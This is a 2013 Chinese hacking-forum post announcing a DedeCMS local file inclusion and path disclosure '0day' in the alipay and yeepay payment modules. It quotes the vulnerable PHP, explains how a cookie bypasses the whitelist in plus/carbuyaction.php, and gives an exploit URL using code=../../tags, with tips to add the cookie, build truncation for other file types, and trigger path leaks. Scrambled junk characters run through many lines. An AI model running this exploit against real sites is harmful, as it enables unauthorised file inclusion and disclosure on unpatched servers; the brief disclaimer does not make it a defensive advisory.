找回密码
 立即注册
查看: 2864|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
6 T) R6 c; N- ^% g, A. K9 H. g5 q+ N% d
出现漏洞的两个文件为:
2 x" ]" f6 t1 m  ~/ d: HInclude/payment/alipay.php
' p" W" }: @; \) \! e0 y: eInclude/payment/yeepay.php9 f: _) M  l$ d3 R2 y- h* R. l
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
% g! ~8 \% x! i( R, w# H) ^$ }* I4 w7 R7 C/ y
Include/payment/alipay.php
9 |# ~% o( Q( n) {1 ?/ t, g
4 u* t# d. s) U4 s4 I......- d1 v9 R9 ?8 ~& o  I0 z& S" Q
   function respond()1 s3 I2 l; O5 j
    {+ i! i& h& ^; l4 }3 Z
        if (!empty($_POST))8 y) U$ {, e) o* ]- ]
        {; O% Z  S7 v" N/ m) E! ]
            foreach($_POST as $key => $data): r3 s* |9 D6 l( e" S4 |+ |
            {  E1 Q; B/ [& c& R! m
                $_GET[$key] = $data;  j6 `8 m/ V: T7 E3 h
            }
/ R) p; W7 {4 S: T7 ^        }6 Y5 p! K" T3 f
        /* 引入配置文件 */8 B6 k  I& V* {: v! c, k
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
8 x4 P7 \9 Z$ T...... 2 D$ }0 D; s( {9 W# C

" l7 y9 P3 U7 q( b" c1 [5 W4 V6 f# r/ n! n6 j# b7 v
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
+ o" T0 W. G' E6 e" y
; {4 Q. h) n' K" g* |4 r2 K$ QInclude/payment/yeepay.php1 l0 K) K) i3 a9 h; O
. q! b2 o( J$ Z: d
* s' n' D, S( m4 {, s' @
7 N, D8 v6 {" i" |9 o7 ?+ Y4 z/ l
......
" W$ ?$ g1 j& l0 J# m5 n    function respond()7 ^1 z4 |) n( R2 m# d
    {
6 O0 V& ]3 c( L; W
" v8 {) C; b% O0 N        /* 引入配置文件 */
0 d$ c4 U% g1 Q2 n4 [* p        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
3 H  B3 I( ]8 }) L
  W8 ^; ]9 y! F4 ]* v        $p1_MerId = trim($payment['yp_account']);
" m; E. k! ?* w/ t4 M( g7 c. I& l        $merchantKey = trim($payment['yp_key']);  x3 L+ ~* S. D1 V0 r
......
2 I& G+ E+ m7 b2 f0 X7 a
; E! B; g- K; m1 d3 H. d7 A
. U- j0 q$ O* h7 Y7 o5 x
1 W. C1 A  y7 _* y) z6 n2 b1 L/ N' |
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
$ C3 w/ `8 y  u% L0 y; b; v( _; e1 S3 f1 ?8 g
这两个方法在plus/carbuyaction.php文件调用。
9 E7 ?  J! y' `1 k* U; T2 N1 g6 S/ l! z' w# ~
plus/carbuyaction.php; m% H8 e9 r! ^- x+ t, e2 O

+ p: c+ d# P) K......, t; |2 t. l' c5 r
} else if ($dopost == 'return') {6 g7 W& b! q8 A1 M  t9 u, G
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');) s6 }. N5 D# {
    if (in_array($code, $write_list))
5 {. n) ]/ T) Y6 w+ i    {
, {5 ]- r2 G# U  z* u' }8 _! ?1 ]5 X7 O        require_once DEDEINC.'/payment/'.$code.'.php';+ ^, B1 O( [$ G
        $pay = new $code;
# l0 Q7 D; z7 e: U' s9 a        $msg=$pay->respond();
$ i1 ~& M+ M; C7 q        ShowMsg($msg, "javascript:;", 0, 3000);+ [& V; a" }& K/ O
        exit();  
5 f8 Q& c( K$ {- E, ]) L# r" h    } else {: m" v  `1 ]0 C! a2 v* T1 h
        exit('Error:File Type Can\'t Recognized!');) @- K7 b- r0 S% w6 i# O* c
    }
$ _4 k0 S! ^3 f/ R: {  z3 c, I) P}, k2 q9 K% p. t6 {
...... % a5 J; @7 T( n0 O

: ?" _2 t2 z5 j$ T/ b* X# v
/ J$ ]( z/ A0 i3 a/ f7 e 1 j& q; ^! _' h- d
/ Y; p* M- W8 r1 U$ |
! J5 V# t$ ^/ \# ^- d6 U7 j0 v
. \2 x7 Q8 g* k; [( J. Q
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。! o& f! @# v5 o0 I2 g/ G
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。; c( q3 _6 F2 h2 i: E2 ~, t! H
, [8 N* k: C$ y5 G: q
回到include/common.inc.php来看看他的机制。' g# s; N  p7 L! n" m) }

* v6 g1 c- ]; }/ K8 j. \
4 D% c0 Z( c: i- \, A$ \# u: p, P3 I
......  x0 A& A7 A4 d# T
foreach(Array('_GET','_POST','_COOKIE') as $_request)( D+ x" K5 K9 A& h
{
  R( E. {3 y& ?  O8 e        foreach($$_request as $_k => $_v)
1 b$ E( d/ l1 h! `- |& N6 Z        {
3 U+ z. _- {6 \6 r% o: o; v                if($_k == 'nvarname') ${$_k} = $_v;( t4 Q0 p+ o+ z; K/ w
                else ${$_k} = _RunMagicQuotes($_v);- Y2 C4 J$ V( a0 _  Y8 i
        }
6 \& B! ^1 _% M; W) j7 {}
6 h/ {! J$ ?- t$ ^2 p# {* r...... , a; m7 j0 v% A9 ^* a
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:; t' q% a: W; F1 ~( Y
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表